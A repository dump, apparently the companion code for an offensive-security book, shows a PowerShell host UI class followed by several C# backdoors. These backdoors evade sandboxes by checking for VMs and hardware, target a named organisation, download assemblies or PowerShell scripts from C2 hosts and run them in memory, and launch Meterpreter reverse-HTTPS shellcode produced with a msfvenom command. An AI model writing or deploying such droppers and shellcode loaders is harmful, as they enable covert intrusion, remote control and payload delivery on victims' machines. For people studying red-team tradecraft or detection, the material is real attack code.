PSObject.AsPSObject(userData); 668 | } 669 | 670 | return results; 671 | } 672 | 673 | /// 674 | 675 | /// Provides a set of choices that enable the user to choose a 676 | /// single option from a set of options. 677 | /// 678 | /// Text that proceeds (a title) the choices. 679 | /// A message that describes the choice. 680 | /// A collection of ChoiceDescription objects that 681 | /// describ each choice. 682 | /// The index of the label in the Choices 683 | /// parameter collection. To indicate no default choice, set to -1. 684 | /// The index of the Choices parameter collection element that 685 | /// corresponds to the option that is selected by the user. 686 | public override int PromptForChoice( 687 | string caption, 688 | string message, 689 | Collection choices, 690 | int defaultChoice) 691 | { 692 | // Write the caption and message strings in Blue. 693 | this.WriteLine( 694 | ConsoleColor.Blue, 695 | ConsoleColor.Black, 696 | caption + "\n" + message + "\n"); 697 | 698 | // Convert the choice collection into something that is 699 | // easier to work with. See the BuildHotkeysAndPlainLabels 700 | // method for details. 701 | string[,] promptData = BuildHotkeysAndPlainLabels(choices); 702 | 703 | // Format the overall choice prompt string to display. 704 | StringBuilder sb = new StringBuilder(); 705 | for (int element = 0; element < choices.Count; element++) 706 | { 707 | sb.Append(String.Format( 708 | CultureInfo.CurrentCulture, 709 | "|{0}> {1} ", 710 | promptData[0, element], 711 | promptData[1, element])); 712 | } 713 | 714 | sb.Append(String.Format( 715 | CultureInfo.CurrentCulture, 716 | "[Default is ({0}]", 717 | promptData[0, defaultChoice])); 718 | 719 | // Read prompts until a match is made, the default is 720 | // chosen, or the loop is interrupted with ctrl-C. 721 | while (true) 722 | { 723 | this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString()); 724 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); 725 | 726 | // If the choice string was empty, use the default selection. 727 | if (data.Length == 0) 728 | { 729 | return defaultChoice; 730 | } 731 | 732 | // See if the selection matched and return the 733 | // corresponding index if it did. 734 | for (int i = 0; i < choices.Count; i++) 735 | { 736 | if (promptData[0, i] == data) 737 | { 738 | return i; 739 | } 740 | } 741 | 742 | this.WriteErrorLine("Invalid choice: " + data); 743 | } 744 | } 745 | 746 | #region IHostUISupportsMultipleChoiceSelection Members 747 | 748 | /// 749 | /// Provides a set of choices that enable the user to choose a one or 750 | /// more options from a set of options. 751 | /// 752 | /// Text that proceeds (a title) the choices. 753 | /// A message that describes the choice. 754 | /// A collection of ChoiceDescription objects that 755 | /// describ each choice. 756 | /// The index of the label in the Choices 757 | /// parameter collection. To indicate no default choice, set to -1. 758 | /// The index of the Choices parameter collection element that 759 | /// corresponds to the option that is selected by the user. 760 | public Collection PromptForChoice( 761 | string caption, 762 | string message, 763 | Collection choices, 764 | IEnumerable defaultChoices) 765 | { 766 | // Write the caption and message strings in Blue. 767 | this.WriteLine( 768 | ConsoleColor.Blue, 769 | ConsoleColor.Black, 770 | caption + "\n" + message + "\n"); 771 | 772 | // Convert the choice collection into something that is 773 | // easier to work with. See the BuildHotkeysAndPlainLabels 774 | // method for details. 775 | string[,] promptData = BuildHotkeysAndPlainLabels(choices); 776 | 777 | // Format the overall choice prompt string to display. 778 | StringBuilder sb = new StringBuilder(); 779 | for (int element = 0; element < choices.Count; element++) 780 | { 781 | sb.Append(String.Format( 782 | CultureInfo.CurrentCulture, 783 | "|{0}> {1} ", 784 | promptData[0, element], 785 | promptData[1, element])); 786 | } 787 | 788 | Collection defaultResults = new Collection(); 789 | if (defaultChoices != null) 790 | { 791 | int countDefaults = 0; 792 | foreach (int defaultChoice in defaultChoices) 793 | { 794 | ++countDefaults; 795 | defaultResults.Add(defaultChoice); 796 | } 797 | 798 | if (countDefaults != 0) 799 | { 800 | sb.Append(countDefaults == 1 ? "[Default choice is " : "[Default choices are "); 801 | foreach (int defaultChoice in defaultChoices) 802 | { 803 | sb.AppendFormat( 804 | CultureInfo.CurrentCulture, 805 | "\"{0}\",", 806 | promptData[0, defaultChoice]); 807 | } 808 | 809 | sb.Remove(sb.Length - 1, 1); 810 | sb.Append("]"); 811 | } 812 | } 813 | 814 | this.WriteLine( 815 | ConsoleColor.Cyan, 816 | ConsoleColor.Black, 817 | sb.ToString()); 818 | // Read prompts until a match is made, the default is 819 | // chosen, or the loop is interrupted with ctrl-C. 820 | Collection results = new Collection(); 821 | while (true) 822 | { 823 | ReadNext: 824 | string prompt = string.Format(CultureInfo.CurrentCulture, "Choice[{0}]:", results.Count); 825 | this.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt); 826 | string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); 827 | 828 | // If the choice string was empty, no more choices have been made. 829 | // If there were no choices made, return the defaults 830 | if (data.Length == 0) 831 | { 832 | return (results.Count == 0) ? defaultResults : results; 833 | } 834 | 835 | // See if the selection matched and return the 836 | // corresponding index if it did. 837 | for (int i = 0; i < choices.Count; i++) 838 | { 839 | if (promptData[0, i] == data) 840 | { 841 | results.Add(i); 842 | goto ReadNext; 843 | } 844 | } 845 | 846 | this.WriteErrorLine("Invalid choice: " + data); 847 | } 848 | } 849 | 850 | #endregion 851 | 852 | /// 853 | /// Prompts the user for credentials with a specified prompt window 854 | /// caption, prompt message, user name, and target name. In this 855 | /// example this functionality is not needed so the method throws a 856 | /// NotImplementException exception. 857 | /// 858 | /// The caption for the message window. 859 | /// The text of the message. 860 | /// The user name whose credential is to be 861 | /// prompted for. 862 | /// The name of the target for which the 863 | /// credential is collected. 864 | /// Throws a NotImplementedException exception. 865 | public override PSCredential PromptForCredential( 866 | string caption, 867 | string message, 868 | string userName, 869 | string targetName) 870 | { 871 | throw new NotImplementedException( 872 | "The method or operation is not implemented."); 873 | } 874 | 875 | /// 876 | /// Prompts the user for credentials by using a specified prompt window 877 | /// caption, prompt message, user name and target name, credential 878 | /// types allowed to be returned, and UI behavior options. In this 879 | /// example this functionality is not needed so the method throws a 880 | /// NotImplementException exception. 881 | /// 882 | /// The caption for the message window. 883 | /// The text of the message. 884 | /// The user name whose credential is to be 885 | /// prompted for. 886 | /// The name of the target for which the 887 | /// credential is collected. 888 | /// A PSCredentialTypes constant 889 | /// that identifies the type of credentials that can be returned. 890 | /// A PSCredentialUIOptions constant that 891 | /// identifies the UI behavior when it gathers the credentials. 892 | /// Throws a NotImplementedException exception. 893 | public override PSCredential PromptForCredential( 894 | string caption, 895 | string message, 896 | string userName, 897 | string targetName, 898 | PSCredentialTypes allowedCredentialTypes, 899 | PSCredentialUIOptions options) 900 | { 901 | throw new NotImplementedException( 902 | "The method or operation is not implemented."); 903 | } 904 | 905 | /// 906 | /// Reads characters that are entered by the user until a newline 907 | /// (carriage return) is encountered. 908 | /// 909 | /// The characters that are entered by the user. 910 | public override string ReadLine() 911 | { 912 | return Console.ReadLine(); 913 | } 914 | 915 | /// 916 | /// Reads characters entered by the user until a newline (carriage return) 917 | /// is encountered and returns the characters as a secure string. In this 918 | /// example this functionality is not needed so the method throws a 919 | /// NotImplementException exception. 920 | /// 921 | /// Throws a NotImplemented exception. 922 | public override System.Security.SecureString ReadLineAsSecureString() 923 | { 924 | throw new NotImplementedException("The method or operation is not implemented."); 925 | } 926 | 927 | /// 928 | /// Writes characters to the output display of the host. 929 | /// 930 | /// The characters to be written. 931 | public override void Write(string value) 932 | { 933 | Console.Write(value); 934 | } 935 | 936 | /// 937 | /// Writes characters to the output display of the host with possible 938 | /// foreground and background colors. 939 | /// 940 | /// The color of the characters. 941 | /// The backgound color to use. 942 | /// The characters to be written. 943 | public override void Write( 944 | ConsoleColor foregroundColor, 945 | ConsoleColor backgroundColor, 946 | string value) 947 | { 948 | ConsoleColor oldFg = Console.ForegroundColor; 949 | ConsoleColor oldBg = Console.BackgroundColor; 950 | Console.ForegroundColor = foregroundColor; 951 | Console.BackgroundColor = backgroundColor; 952 | Console.Write(value); 953 | Console.ForegroundColor = oldFg; 954 | Console.BackgroundColor = oldBg; 955 | } 956 | 957 | 958 | /// 959 | /// Writes a line of characters to the output display of the host 960 | /// with foreground and background colors and appends a newline (carriage return). 961 | /// 962 | /// The forground color of the display. 963 | /// The background color of the display. 964 | /// The line to be written. 965 | public override void WriteLine( 966 | ConsoleColor foregroundColor, 967 | ConsoleColor backgroundColor, 968 | string value) 969 | { 970 | ConsoleColor oldFg = Console.ForegroundColor; 971 | ConsoleColor oldBg = Console.BackgroundColor; 972 | Console.ForegroundColor = foregroundColor; 973 | Console.BackgroundColor = backgroundColor; 974 | Console.WriteLine(value); 975 | Console.ForegroundColor = oldFg; 976 | Console.BackgroundColor = oldBg; 977 | } 978 | 979 | /// 980 | /// Writes a debug message to the output display of the host. 981 | /// 982 | /// The debug message that is displayed. 983 | public override void WriteDebugLine(string message) 984 | { 985 | this.WriteLine( 986 | ConsoleColor.DarkYellow, 987 | ConsoleColor.Black, 988 | String.Format(CultureInfo.CurrentCulture, "DEBUG: {0}", message)); 989 | } 990 | 991 | 992 | /// 993 | /// Writes an error message to the output display of the host. 994 | /// 995 | /// The error message that is displayed. 996 | public override void WriteErrorLine(string value) 997 | { 998 | this.WriteLine( 999 | ConsoleColor.Red, 1000 | ConsoleColor.Black, 1001 | value); 1002 | } 1003 | 1004 | /// 1005 | /// Writes a newline character (carriage return) 1006 | /// to the output display of the host. 1007 | /// 1008 | public override void WriteLine() 1009 | { 1010 | Console.WriteLine(); 1011 | } 1012 | 1013 | /// 1014 | /// Writes a line of characters to the output display of the host 1015 | /// and appends a newline character(carriage return). 1016 | /// 1017 | /// The line to be written. 1018 | public override void WriteLine(string value) 1019 | { 1020 | Console.WriteLine(value); 1021 | } 1022 | 1023 | /// 1024 | /// Writes a progress report to the output display of the host. 1025 | /// 1026 | /// Unique identifier of the source of the record. 1027 | /// A ProgressReport object. 1028 | public override void WriteProgress(long sourceId, ProgressRecord record) 1029 | { 1030 | 1031 | } 1032 | 1033 | /// 1034 | /// Writes a verbose message to the output display of the host. 1035 | /// 1036 | /// The verbose message that is displayed. 1037 | public override void WriteVerboseLine(string message) 1038 | { 1039 | this.WriteLine( 1040 | ConsoleColor.Green, 1041 | ConsoleColor.Black, 1042 | String.Format(CultureInfo.CurrentCulture, "VERBOSE: {0}", message)); 1043 | } 1044 | 1045 | /// 1046 | /// Writes a warning message to the output display of the host. 1047 | /// 1048 | /// The warning message that is displayed. 1049 | public override void WriteWarningLine(string message) 1050 | { 1051 | this.WriteLine( 1052 | ConsoleColor.Yellow, 1053 | ConsoleColor.Black, 1054 | String.Format(CultureInfo.CurrentCulture, "WARNING: {0}", message)); 1055 | } 1056 | 1057 | 1058 | /// 1059 | /// Parse a string containing a hotkey character. 1060 | /// Take a string of the form 1061 | /// Yes to &all 1062 | /// and returns a two-dimensional array split out as 1063 | /// "A", "Yes to all". 1064 | /// 1065 | /// The string to process 1066 | /// 1067 | /// A two dimensional array containing the parsed components. 1068 | /// 1069 | private static string[] GetHotkeyAndLabel(string input) 1070 | { 1071 | string[] result = new string[] { String.Empty, String.Empty }; 1072 | string[] fragments = input.Split('&'); 1073 | if (fragments.Length == 2) 1074 | { 1075 | if (fragments[1].Length > 0) 1076 | { 1077 | result[0] = fragments[1][0].ToString(). 1078 | ToUpper(CultureInfo.CurrentCulture); 1079 | } 1080 | 1081 | result[1] = (fragments[0] + fragments[1]).Trim(); 1082 | } 1083 | else 1084 | { 1085 | result[1] = input; 1086 | } 1087 | 1088 | return result; 1089 | } 1090 | 1091 | /// 1092 | /// This is a private worker function splits out the 1093 | /// accelerator keys from the menu and builds a two 1094 | /// dimentional array with the first access containing the 1095 | /// accelerator and the second containing the label string 1096 | /// with the & removed. 1097 | /// 1098 | /// The choice collection to process 1099 | /// 1100 | /// A two dimensional array containing the accelerator characters 1101 | /// and the cleaned-up labels 1102 | private static string[,] BuildHotkeysAndPlainLabels( 1103 | Collection choices) 1104 | { 1105 | // Allocate the result array 1106 | string[,] hotkeysAndPlainLabels = new string[2, choices.Count]; 1107 | 1108 | for (int i = 0; i < choices.Count; ++i) 1109 | { 1110 | string[] hotkeyAndLabel = GetHotkeyAndLabel(choices[i].Label); 1111 | hotkeysAndPlainLabels[0, i] = hotkeyAndLabel[0]; 1112 | hotkeysAndPlainLabels[1, i] = hotkeyAndLabel[1]; 1113 | } 1114 | 1115 | return hotkeysAndPlainLabels; 1116 | } 1117 | } 1118 | internal class MyRawUserInterface : PSHostRawUserInterface 1119 | { 1120 | /// 1121 | /// Gets or sets the background color of text to be written. 1122 | /// This maps to the corresponding Console.Background property. 1123 | /// 1124 | public override ConsoleColor BackgroundColor 1125 | { 1126 | get { return Console.BackgroundColor; } 1127 | set { Console.BackgroundColor = value; } 1128 | } 1129 | 1130 | /// 1131 | /// Gets or sets the host buffer size adapted from the Console buffer 1132 | /// size members. 1133 | /// 1134 | public override Size BufferSize 1135 | { 1136 | get { return new Size(Console.BufferWidth, Console.BufferHeight); } 1137 | set { Console.SetBufferSize(value.Width, value.Height); } 1138 | } 1139 | 1140 | /// 1141 | /// Gets or sets the cursor position. In this example this 1142 | /// functionality is not needed so the property throws a 1143 | /// NotImplementException exception. 1144 | /// 1145 | public override Coordinates CursorPosition 1146 | { 1147 | get { throw new NotImplementedException( "The method or operation is not implemented."); } 1148 | set { throw new NotImplementedException( "The method or operation is not implemented."); } 1149 | } 1150 | 1151 | /// 1152 | /// Gets or sets the cursor size taken directly from the 1153 | /// Console.CursorSize property. 1154 | /// 1155 | public override int CursorSize 1156 | { 1157 | get { return Console.CursorSize; } 1158 | set { Console.CursorSize = value; } 1159 | } 1160 | 1161 | /// 1162 | /// Gets or sets the foreground color of the text to be written. 1163 | /// This maps to the corresponding Console.ForgroundColor property. 1164 | /// 1165 | public override ConsoleColor ForegroundColor 1166 | { 1167 | get { return Console.ForegroundColor; } 1168 | set { Console.ForegroundColor = value; } 1169 | } 1170 | 1171 | /// 1172 | /// Gets a value indicating whether a key is available. This maps to 1173 | /// the corresponding Console.KeyAvailable property. 1174 | /// 1175 | public override bool KeyAvailable 1176 | { 1177 | get { return Console.KeyAvailable; } 1178 | } 1179 | 1180 | /// 1181 | /// Gets the maximum physical size of the window adapted from the 1182 | /// Console.LargestWindowWidth and Console.LargestWindowHeight 1183 | /// properties. 1184 | /// 1185 | public override Size MaxPhysicalWindowSize 1186 | { 1187 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } 1188 | } 1189 | 1190 | /// 1191 | /// Gets the maximum window size adapted from the 1192 | /// Console.LargestWindowWidth and console.LargestWindowHeight 1193 | /// properties. 1194 | /// 1195 | public override Size MaxWindowSize 1196 | { 1197 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } 1198 | } 1199 | 1200 | /// 1201 | /// Gets or sets the window position adapted from the Console window position 1202 | /// members. 1203 | /// 1204 | public override Coordinates WindowPosition 1205 | { 1206 | get { return new Coordinates(Console.WindowLeft, Console.WindowTop); } 1207 | set { Console.SetWindowPosition(value.X, value.Y); } 1208 | } 1209 | 1210 | /// 1211 | /// Gets or sets the window size adapted from the corresponding Console 1212 | /// calls. 1213 | /// 1214 | public override Size WindowSize 1215 | { 1216 | get { return new Size(Console.WindowWidth, Console.WindowHeight); } 1217 | set { Console.SetWindowSize(value.Width, value.Height); } 1218 | } 1219 | 1220 | /// 1221 | /// Gets or sets the title of the window mapped to the Console.Title 1222 | /// property. 1223 | /// 1224 | public override string WindowTitle 1225 | { 1226 | get { return Console.Title; } 1227 | set { Console.Title = value; } 1228 | } 1229 | 1230 | /// 1231 | /// This API resets the input buffer. In this example this 1232 | /// functionality is not needed so the method returns nothing. 1233 | /// 1234 | public override void FlushInputBuffer() 1235 | { 1236 | } 1237 | 1238 | /// 1239 | /// This API returns a rectangular region of the screen buffer. In 1240 | /// this example this functionality is not needed so the method throws 1241 | /// a NotImplementException exception. 1242 | /// 1243 | /// Defines the size of the rectangle. 1244 | /// Throws a NotImplementedException exception. 1245 | public override BufferCell[,] GetBufferContents(Rectangle rectangle) 1246 | { 1247 | throw new NotImplementedException( 1248 | "The method or operation is not implemented."); 1249 | } 1250 | 1251 | /// 1252 | /// This API Reads a pressed, released, or pressed and released keystroke 1253 | /// from the keyboard device, blocking processing until a keystroke is 1254 | /// typed that matches the specified keystroke options. In this example 1255 | /// this functionality is not needed so the method throws a 1256 | /// NotImplementException exception. 1257 | /// 1258 | /// Options, such as IncludeKeyDown, used when 1259 | /// reading the keyboard. 1260 | /// Throws a NotImplementedException exception. 1261 | public override KeyInfo ReadKey(ReadKeyOptions options) 1262 | { 1263 | throw new NotImplementedException( 1264 | "The method or operation is not implemented."); 1265 | } 1266 | 1267 | /// 1268 | /// This API crops a region of the screen buffer. In this example 1269 | /// this functionality is not needed so the method throws a 1270 | /// NotImplementException exception. 1271 | /// 1272 | /// The region of the screen to be scrolled. 1273 | /// The region of the screen to receive the 1274 | /// source region contents. 1275 | /// The region of the screen to include in the operation. 1276 | /// The character and attributes to be used to fill all cell. 1277 | public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) 1278 | { 1279 | throw new NotImplementedException( 1280 | "The method or operation is not implemented."); 1281 | } 1282 | 1283 | /// 1284 | /// This API copies an array of buffer cells into the screen buffer 1285 | /// at a specified location. In this example this functionality is 1286 | /// not needed si the method throws a NotImplementedException exception. 1287 | /// 1288 | /// The parameter is not used. 1289 | /// The parameter is not used. 1290 | public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) 1291 | { 1292 | throw new NotImplementedException( 1293 | "The method or operation is not implemented."); 1294 | } 1295 | 1296 | /// 1297 | /// This API Copies a given character, foreground color, and background 1298 | /// color to a region of the screen buffer. In this example this 1299 | /// functionality is not needed so the method throws a 1300 | /// NotImplementException exception./// 1301 | /// Defines the area to be filled. 1302 | /// Defines the fill character. 1303 | public override void SetBufferContents(Rectangle rectangle, BufferCell fill) 1304 | { 1305 | throw new NotImplementedException( 1306 | "The method or operation is not implemented."); 1307 | } 1308 | } 1309 | ]]> 1310 | 1311 | 1312 | 1313 | 1314 | -------------------------------------------------------------------------------- /old/chap2/psh.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | 19 | 20 | 21 | ()) 50 | Console.WriteLine(str); 51 | 52 | Console.WriteLine("Press any key to exit..."); 53 | Console.ReadKey(); 54 | 55 | // End of the Execute method 56 | return true; 57 | } 58 | } 59 | ]]> 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /old/chap3/assembly_backdoor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | using Microsoft.Win32; 4 | using System.Net; 5 | using System.Reflection; 6 | using System.Threading; 7 | 8 | /* 9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 10 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command: 11 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe assembly_backdoor.cs 12 | 13 | Remember to change condition elements in Valid_Environment, Valid_Environment2 and Valid_launch methods to execute it your environment. 14 | Of course you need a working listener instance on your C2, Empire for instance. 15 | Full code detail available in How to Hack Like a Legend book. 16 | 17 | Sparc Flow 18 | */ 19 | namespace backdoor2 20 | { 21 | class Program 22 | { 23 | static void Main(string[] args) 24 | { 25 | new Thread(() => { 26 | Thread.CurrentThread.IsBackground = true; 27 | Prepare_shape_ui(); 28 | }).Start(); 29 | Console.WriteLine("Press any key to exit..."); 30 | Console.ReadKey(); 31 | 32 | } 33 | 34 | static private void Prepare_shape_ui() { 35 | if (Valid_environment2() && Valid_environment() && Valid_launch()) 36 | Custom_shape_ui(); 37 | } 38 | static private bool Valid_launch() { 39 | //Fetch a registry key value that would not exist on a normal system 40 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent"); 41 | //If key "Version" is not found, return true and proceed with the backdoor 42 | if (key != null && key.GetValue("Version") == null) { 43 | return true; 44 | } 45 | return false; 46 | } 47 | 48 | static private bool Valid_environment() 49 | { 50 | 51 | string query = "SELECT * FROM Win32_OperatingSystem"; 52 | var search = new ManagementObjectSearcher(query); 53 | foreach (ManagementObject obj in search.Get()) { 54 | var objectName = obj["Organization"]; 55 | if (objectName == null) { continue; } 56 | 57 | string name = objectName.ToString().Trim().ToLower(); 58 | if (name.StartsWith("gs") || name.StartsWith("g&s")) 59 | return true; 60 | } 61 | 62 | return false; 63 | } 64 | static private bool Valid_environment2() 65 | { 66 | 67 | var query = "SELECT * FROM Win32_VideoController"; 68 | var search = new ManagementObjectSearcher(query); 69 | 70 | foreach (ManagementObject obj in search.Get()) 71 | { 72 | var objectName = obj["Name"]; 73 | if (objectName == null) { continue; } 74 | string name = objectName.ToString().Trim().ToLower(); 75 | 76 | //ualb is short for virtualbox and² mwa for vmware 77 | if (name.Contains("mwa") || name.Contains("ualb") || name.Contains("basic") || name.Contains("adapter")) 78 | return false; 79 | } 80 | 81 | //If none of the above checks work, Valid_environment returns true 82 | return true; 83 | } 84 | 85 | static private void Custom_shape_ui() 86 | { 87 | 88 | //Array that will hold our assembly 89 | byte[] myDataBuffer = null; 90 | 91 | //Use the default proxy registered on the system 92 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials; 93 | 94 | //classic webclient object to download data 95 | WebClient myWebClient = new WebClient(); 96 | try { 97 | var url = "https://reporting.stratjumbo.co.au/health-check"; 98 | myDataBuffer = myWebClient.DownloadData(url); 99 | } 100 | catch { } 101 | 102 | //If the download fails return 103 | if (myDataBuffer == null) { 104 | Console.WriteLine("could not fetch program from listener"); 105 | return; 106 | } 107 | //Reflectively load it in memory 108 | Assembly a = Assembly.Load(myDataBuffer); 109 | Type t = a.GetType("fud_stager.Program"); 110 | MethodInfo staticMethodInfo = t.GetMethod("Main"); 111 | 112 | staticMethodInfo.Invoke(null, null); 113 | 114 | //End of Custom_shape_ui() method 115 | } 116 | 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /old/chap3/loader_stager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Management.Automation; 4 | using System.Management.Automation.Host; 5 | using System.Management.Automation.Runspaces; 6 | using PowerShell = System.Management.Automation.PowerShell; 7 | 8 | /* 9 | To compile add the reference in Visual studio to C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll 10 | 11 | Otherwise use csc.exe at http://bit.ly/3otOr4h with the command: 12 | c:\Microsoft.Net.Compilers.3.8.0\tools\csc.exe /reference:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /out:health-check.exe Program.cs 13 | */ 14 | namespace fud_stager 15 | { 16 | class Program 17 | { 18 | static void Main(string[] args) 19 | { 20 | PowerShell Ps_instance = PowerShell.Create(); 21 | 22 | WebClient myWebClient = new WebClient(); 23 | try { 24 | var script1 = myWebClient.DownloadString("http://192.168.1.36:3333/full1.txt"); 25 | string[] array = script1.Split('\n'); 26 | foreach (string value in array) 27 | { 28 | Ps_instance.AddScript(value); 29 | } 30 | } catch{ 31 | } 32 | // 33 | //Ps_instance.AddScript(script2); 34 | Ps_instance.AddCommand("out-string"); 35 | Ps_instance.Invoke(); 36 | 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /old/chap3/msf_backdoor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | /* 9 | Meterpreter wrapper inspired by https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs 10 | Example payload command line to paste in byte[] var variable: 11 | root@Kali:~$ msfvenom -a x86 -p windows/meterpreter/reverse_winhttps LHOST=www.stratjumbo.co.au LPORT=443 prependmigrate=true prepenmigrateprocess=explorer.exe -f csharp 12 | 13 | Compile this C# wrapper using csc: 14 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe .\msf_backdoor.cs 15 | 16 | PS: Change line 99 to suit your migration technique if you change the msfvenom command above. 17 | 18 | This wrapper was used in How to Hack Like a Legend book. 19 | 20 | */ 21 | namespace shellcode 22 | { 23 | class Program 24 | { 25 | public static void Main() 26 | { 27 | byte[] var = new byte[838] { 28 | 0xfc,0xe9,0x8a,0x00,0x00,0x00,0x5d,0x83,0xc5,0x0b,0x81,0xc4,0x70,0xfe,0xff, 29 | 0xff,0x8d,0x54,0x24,0x60,0x52,0x68,0xb1,0x4a,...,0xd5 }; 30 | //Allocate memory with read write and execute flags 31 | UInt32 funcAddr = VirtualAlloc(0, (UInt32)var.Length, 32 | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 33 | 34 | //Copy the buffer to memory 35 | Marshal.Copy(var, 0, (IntPtr)(funcAddr), var.Length); 36 | IntPtr hThread = IntPtr.Zero; 37 | UInt32 threadId = 0; 38 | // prepare data 39 | 40 | 41 | IntPtr pinfo = IntPtr.Zero; 42 | 43 | // execute native code 44 | 45 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 46 | //If prependmigrate=true in msfvenom, a wait value of 5000 ms should be sufficient for the main process to terminate after migration. 47 | WaitForSingleObject(hThread, 5000); 48 | 49 | return; 50 | } 51 | 52 | //Define static variables to be used in memory allocation 53 | private static UInt32 MEM_COMMIT = 0x1000; 54 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 55 | 56 | //Import VirtualAlloc frol kernel32.dll 57 | [DllImport("kernel32")] 58 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, 59 | UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 60 | 61 | //Import CreateThread frol kernel32.dll 62 | [DllImport("kernel32")] 63 | private static extern IntPtr CreateThread( 64 | UInt32 lpThreadAttributes, 65 | UInt32 dwStackSize, 66 | UInt32 lpStartAddress, 67 | IntPtr param, 68 | UInt32 dwCreationFlags, 69 | ref UInt32 lpThreadId 70 | 71 | ); 72 | //Import WaitForSingleObject frol kernel32.dll 73 | [DllImport("kernel32")] 74 | private static extern UInt32 WaitForSingleObject( 75 | 76 | IntPtr hHandle, 77 | UInt32 dwMilliseconds 78 | ); 79 | 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /old/chap3/ps_backdoor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Management; 3 | using Microsoft.Build.Framework; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using System.Runtime.InteropServices; 9 | using Microsoft.Win32; 10 | using System.Net; 11 | using System.Reflection; 12 | 13 | /* 14 | Compile using the following command : 15 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe /reference:Microsoft.Build.Framework.dll .\ps_backdoor.cs 16 | 17 | Remember to change condition element sin Valid_Environment and Custom_shape_ui methods to execute it in a random environment. 18 | Full code detail available in How to Hack Like a Legend book. 19 | 20 | Sparc Flow 21 | */ 22 | namespace backdoor2 23 | { 24 | class Program 25 | { 26 | static void Main(string[] args) 27 | { 28 | // Check if running inside a VM 29 | if (Valid_environment()) 30 | { 31 | Custom_shape_ui(); 32 | } 33 | else 34 | Console.WriteLine("norun"); 35 | Console.WriteLine("Press any key to exit..."); 36 | Console.ReadKey(); 37 | 38 | } 39 | 40 | static private void Custom_shape_ui() 41 | { 42 | RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\UEV\\Agent"); 43 | //If key is present, the backdoor exits (arbitrary kill switch when normal persistence is achieved) 44 | if (key != null) 45 | { 46 | if (key.GetValue("Version") == null) 47 | { 48 | //Start real backdoor logic 49 | Custom_shape_ui_launcher(); 50 | 51 | } 52 | } 53 | 54 | } 55 | static private void Custom_shape_ui_launcher() 56 | { 57 | 58 | //Download encoded script from C2 59 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials; 60 | WebClient myWebClient = new WebClient(); 61 | string mystring = myWebClient.DownloadString("http://10.62.144.17/script2.txt"); 62 | //Launch PS 63 | var p = new System.Diagnostics.Process(); 64 | p.StartInfo.FileName = "powershell.exe"; 65 | p.StartInfo.Arguments = mystring; 66 | p.StartInfo.UseShellExecute = false; 67 | p.StartInfo.CreateNoWindow = true; 68 | p.Start(); 69 | } 70 | static private bool Valid_environment() 71 | { 72 | //Only run this script on a computer belonging to G&S Trust 73 | ManagementObjectSearcher search = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem"); 74 | foreach (ManagementObject obj in search.Get()) 75 | { 76 | string name = obj["Organization"].ToString().Trim().ToLower(); 77 | // Change this condition result to make it run on your workstation 78 | if (!name.StartsWith("gs") || !name.StartsWith("g&s") || !name.StartsWith("trus")) 79 | return false; 80 | 81 | } 82 | search = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController"); 83 | foreach (ManagementObject obj in search.Get()) 84 | { 85 | string name = obj["Name"].ToString().Trim().ToLower(); 86 | if (name.Contains("vmw") || name.Contains("box") || name.Contains("basic") || name.Contains("adapter")) 87 | return false; 88 | } 89 | search = new ManagementObjectSearcher("SELECT * FROM Win32_DesktopMonitor"); 90 | foreach (ManagementObject obj in search.Get()) 91 | { 92 | string manu = obj["MonitorManufacturer"].ToString().Trim().ToLower(); 93 | if (manu.Contains("standard") || manu.Contains("types") || manu == "") 94 | return false; 95 | 96 | } 97 | return true; 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /old/chap3/wordcollector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env 